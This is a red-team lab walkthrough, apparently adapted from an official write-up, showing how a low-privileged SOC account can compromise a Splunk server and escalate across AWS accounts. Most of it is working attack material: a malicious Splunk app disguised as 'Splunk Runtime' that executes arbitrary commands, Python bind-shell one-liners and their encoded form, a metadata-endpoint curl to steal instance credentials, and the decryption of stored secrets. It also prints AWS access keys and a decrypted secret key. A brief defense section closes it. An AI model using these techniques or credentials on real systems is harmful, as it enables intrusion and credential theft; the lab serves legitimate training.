Compromise Splunk for AWS Privilege Escalation(AWS-Red team lab)

Scenario

Starting a new red team engagement, you have been given the login for a relatively unprivileged SOC account. Can you leverage defensive infrastructure and AWS services to access sensitive data and help you achieve your objectives?

Lab prerequisites

• Basic Linux command line knowledge
• Basic Python knowledge
• Basic AWS knowledge

Learning outcomes

• Create a malicious Splunk add-in
• Get a stable shell on a Splunk server
• Identify and decrypt stored secrets
• Enumerate AWS IAM and EC2

Difficulty

Intermediate

Focus

Red

Real-world context

Splunk is a very popular and widely used SIEM that allows defenders to detect malicious activity in their environment. However, without proper protection, Splunk can also be leveraged by threat actors to compromise the application, underlying operating system, and potentially on-premises or cloud environments.

The free version of Splunk is unauthenticated, and on accessing the page, we see the web headers Server: Splunkd and Set-Cookie: splunkweb_uid are set.

Searching for this on Shodan with the default Splunk Enterprise UI port of 8000, we find that hundreds of Splunk instances are exposed to the entire internet.

"Set-Cookie: splunkweb_uid" "Server: Splunkd" port:8000 http.status:200

Even if authentication is enabled, network access to Splunk means that the instance can be vulnerable to unauthenticated exploits.

Walkthrough

Attack

Let’s start! Set the AWS access keys and set the region to us-west-2.

aws configure

The whoami of AWS is aws sts get-caller-identity , but we can attempt to be more evasive with the aws iam get-user command and leak the IAM user through an error!

💡 Detecting aws sts get-caller-identity is a good idea, but it can result in a lot of false positives as many tools execute the GetCallerIdentity action.

aws iam get-user

This shows that we’re in the execution context of the IAM user named soctier1 ! It's worth setting the target AWS account ID as a variable as various AWS commands need us to specify it: accountID=<account_id>.

We can start by enumerating any attached and inline IAM policiess, but both commands below are unsuccessful.

aws iam list-user-policies --user-name soctier1
aws iam list-attached-user-policies --user-name soctier1

Let’s try brute forcing our AWS permissions using AWS-ENUMERATOR to see what actions we’re allowed to call. First set the credentials.

 aws-enumerator cred -aws_access_key_id AKIA5WLTTEC6TFSX4V7E -aws_secret_access_key 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

aws-enumerator enum -services all

aws ec2 describe-instances

This reveals an EC2 instance that has a tag of Splunk. Splunk is a widely used SIEM that also has addins for AWS.

"Tags": [
    {
        "Key": "Name",
        "Value": "Splunk"
    }
],

We also see the private IP address.

💡 The private IP address in your lab instance will be different.

"OwnerId": "214768663777",
"PrivateDnsName": "ip-10-65-0-107.us-west-2.compute.internal",
"PrivateIpAddress": "10.65.0.107",

It’s up.

ping -c 1 10.65.0.107

Let’s turn to enumerating IAM roles.

aws iam list-roles

OR 
#For filtering non default roles
aws iam list-roles \
  --query "Roles[?starts_with(RoleName, 'AWSServiceRoleFor') == \`false\` && Path != \`/aws-service-role/\`].[RoleName, Path]" \
  --output table

This returns the non-default and customer managed role named IncidentResponse . We see that a user named splunk in another AWS account is trusted to assume it.

{
            "Path": "/",
            "RoleName": "IncidentResponse",
            "RoleId": "AROATEAJVXTQ2YK2NM4KF",
            "Arn": "arn:aws:iam::214768663777:role/IncidentResponse",
            "CreateDate": "2025-01-12T15:07:10Z",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::104506445608:user/splunk"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },

Trying to list the inline polcies for this role with the command aws iam list-role-policies --role-name IncidentResponse returns an access denied message but we can list the customer managed policies!

aws iam list-attached-role-policies --role-name IncidentResponse

The policy version is set to v1 . Let's check it out.

aws iam get-policy --policy-arn arn:aws:iam::214768663777:policy/IncidentResponsePolicy

The IncidentResponse role is allowed to list S3 buckets, lookup log events, describe EC2 instances (that our existing account also has access to), and also retrieve EC2 instance user data. Scripts and system commands are often added to EC2 instances and launch templates by admins, to automate and standardize configuration.

aws iam get-policy-version --policy-arn arn:aws:iam::214768663777:policy/IncidentResponsePolicy --version-id v1

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "s3:ListBucket",
                        "logs:GetLogEvents",
                        "cloudtrail:LookupEvents"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "ec2:DescribeInstances",
                        "ec2:DescribeInstanceAttribute",
                        "ec2:GetUserData"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-01-12T15:07:10Z"
    }
}

“splunk” user can assume IncidentResponse role

Maybe our existing account can also retrieve the EC2 instance user data? But no. Let’s move on.

aws ec2 describe-instance-attribute --instance-id i-0d9199e027476f058 --attribute userData --query 'UserData.Value' --output text | base64 --decode

Scanning the IP address with nmap reveals that port 8000 is open, which is the default port associated with the Splunk web interface.

nmap -Pn --top-ports 100 10.65.0.107

Navigating to it in a browser, we see Splunk Enterprise. The free version of Splunk is uncredentialed, and we get access as admin… and full control over the application.

The App AWS-Lambda-Call-Addon-For-Splunk seems interesting, as addons that interface with third-party services can often contain credentials. Click Configuration .

However, this just prompts us to configure the AWS access keys. It's best not to change this, as it may overwrite the existing keys.

Click on the settings cog next to Apps to view all installed apps.

Searching the version number for the AWS-Lambda-Call-Addon-For-Splunk app online doesn't return any published vulnerabilities.

But maybe we don’t need one!

A beneficial aspect of Splunk from a red team perspective is that it effectively offers command execution as a feature, allowing us to create our own app and install it. First, create a working directory.

cd ~; mkdir splunk

We can create an app named Splunk Runtime as this sounds legitimately part of Splunk and will be unlikely to raise suspicions. Create the directory and file structure below.

mkdir 'Splunk Runtime'; cd Splunk\ Runtime
mkdir bin default metadata

We’ll use a command execution technique that doesn’t depend on egress from the AWS environment being allowed, as environments can (and should) be restricted. Our payload is named runtime.py . It takes base64-encoded input as a Splunk search query, decodes it, runs the command and saves any command output to the file /tmp/output.txt .

bin/runtime.py

import base64, sys, os
import splunk.Intersplunk

output_file_path = "/tmp/output.txt"

try:
    command = base64.b64decode(sys.argv[1]).decode("utf-8")
    exit_code = os.system(f"{command} > {output_file_path} 2>&1")

if exit_code != 0:
        results = splunk.Intersplunk.generateErrorResults(f"Error: Command exited with code {exit_code}")
    else:
        with open(output_file_path, "r") as f:
            output = f.read()
        results = [{"_raw": output}]
except Exception:
    import traceback
    stack = traceback.format_exc()
    results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))

splunk.Intersplunk.outputResults(results)

Continue to create the files with the contents below.

default/app.conf

[launcher]
author=Splunk
description=Runtime app
version=0.6
[ui]
is_visible = true

default/commands.conf

[runtime]
type = python
filename = runtime.py
local = false
enableheader = false
streaming = false
perf_warn_limit = 0

metadata/default.meta

[commands]
export = system

Then create an archive.

tar -czvf 'Splunk Runtime.tar.gz' 'Splunk Runtime'

In the Apps list, click Install app from file .

Success!

It now hides in plain sight in the menu 👀

Clicking on it brings us to a Splunk search field.

Now we need to base64 encoded our system command. Let’s start with whoami .

echo -n 'whoami' | base64

Running this seems successful and there is no error, but it doesn’t return any output.

* | script runtime d2hvYW1p

Maybe we can again use native Splunk functionality to read the file /tmp/output.txt ? Click on Settings from the menu bar and then Data inputs . Then click Files & Directories .

Click New Local File & Directory .

💡 If you encounter the error shown below, it’s temporary — simply retrying the step should resolve it.

Input /tmp/output.txt in the field and click Next .

We see the output of the id command!

Let’s get a shell.

As egress could be restricted and this isn’t exposed to the internet, let’s run the python command below creates a bind shell on the host. A bind shell listens on a specific network port(9001) and waits for an incoming connection. Once a connection is established, it gives the connecting client a shell on the server.

python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",9001));s1.listen(1);c,a=s1.accept();while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

OR
python3 -c 'import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",1337));s.listen(5);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

Save this locally e.g. as bind_shell_py and then base64 encode it.

cat bind_shell_py| base64 -w 0

Then execute the command on the server.

* | script runtime cHl0aG9uMyAtYyAnZXhlYygiIiJpbXBvcnQgc29ja2V0IGFzIHMsc3VicHJvY2VzcyBhcyBzcDtzMT1zLnNvY2tldChzLkFGX0lORVQscy5TT0NLX1NUUkVBTSk7czEuc2V0c29ja29wdChzLlNPTF9TT0NLRVQscy5TT19SRVVTRUFERFIsIDEpO3MxLmJpbmQoKCIwLjAuMC4wIiw5MDAxKSk7czEubGlzdGVuKDEpO2MsYT1zMS5hY2NlcHQoKTsKd2hpbGUgVHJ1ZTogZD1jLnJlY3YoMTAyNCkuZGVjb2RlKCk7cD1zcC5Qb3BlbihkLHNoZWxsPVRydWUsc3Rkb3V0PXNwLlBJUEUsc3RkZXJyPXNwLlBJUEUsc3RkaW49c3AuUElQRSk7Yy5zZW5kYWxsKHAuc3Rkb3V0LnJlYWQoKStwLnN0ZGVyci5yZWFkKCkpIiIiKSc=

The command completes without error and doesn't hang. Now we can connect to the port using netcat and get our shell! Upgrade the shell using the command python3 -c 'import pty; pty.spawn("/bin/bash")' .

nc -nv 10.245.0.53 9001

python3 -c 'import pty; pty.spawn("/bin/bash")'

Let’s steal AWS creds-

curl 169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Brute-forcing permissions-

Unfortunatlely no interesting permissions are there. Let’s move on with Splunk server enumeration!

Let’s examine the installed apps.

ls /opt/splunk/etc/apps
cd ../../AWS-Lambda-Call-Addon-For-Splunk
ls -al

Navigating to the local directory, we find a file named passwords.conf that contains the AWS access key ID AKIARQVIRZ4UJJFAGW52and an encrypted secret key.

[credential:us-west-2:AKIARQVIRZ4UJJFAGW52:]
password = $7$PrlOkfTq5fbHW9HpwxaFJUUhf6hmOT3hGUwJFjNTSWI1WdedFgwXv+WvCPA2wfCfVhNEWYUOgsXx/+LOiJ2e3btLdF9z6+m1

A quick search reveals that Splunk has a command specifically for decreypting secrets! Running the following command reveals the secret access key iBOIOim53IAjxP5pCg0LXAT1ZNv38uXhVdJS3Kh9 .

/opt/splunk/bin/splunk show-decrypted --value '$7$PrlOkfTq5fbHW9HpwxaFJUUhf6hmOT3hGUwJFjNTSWI1WdedFgwXv+WvCPA2wfCfVhNEWYUOgsXx/+LOiJ2e3btLdF9z6+m1'

After setting the new credentials we see that this is the splunk user that we saw in the trust policy!

Let’s assume the role and get the credentials.

aws sts assume-role --role-arn "arn:aws:iam::287026068567:role/IncidentResponse" --role-session-name "IncidentResponseSession" --profile splunk

Set the credentials.

aws configure --profile IncidentResponse
aws configure set --profile IncidentResponse aws_session_token "<session_token>"
aws sts get-caller-identity --profile IncidentResponse

We know that this role is able to retrieve any EC2 instance user data that has been defined. Let’s get the EC2 instance ID again.

aws ec2 describe-instances --query "Reservations[*].Instances[*].InstanceId" --output text

Executing the final command is successful and we get the user data and flag for the lab 😎

aws ec2 describe-instance-attribute --instance-id <instance_id> --attribute userData --query 'UserData.Value' --output text | base64 --decode

Defense

The main issue was that the free version of Splunk was in use and there were controls in place to restrict only specific hosts from accessing it. As we saw in the lab, with admin access to Splunk it can be weaponized to compromise the underlying operating system, especially if it’s installed as root. Splunk doesn’t need to be run as root, although it can make certain tasks easier, such as installing packages. The procedure to install Splunk Enterprise as a non-root user is here.

It is also recommended to create a local script to alert when new Splunk add-ins have been installed. We could use Splunk’s own functionality for this, as we saw with the Data inputs section, but threat actors with admin access to the application would be able to remove this. Scanning for malicious apps is a good idea but can be hard in practice as there are many legitimate Splunk add-ins that make use of "risky" functions, methods, and modules.

This lab also highlights cross AWS account compromise, and how privilege escalation or resource exploitation in one account can be leveraged to access resources or roles in another account through trust relationships or misconfigurations.

Note: This is modified version of official writeup.

Further reading

https://advisory.splunk.com/advisories/SVD-2024-0711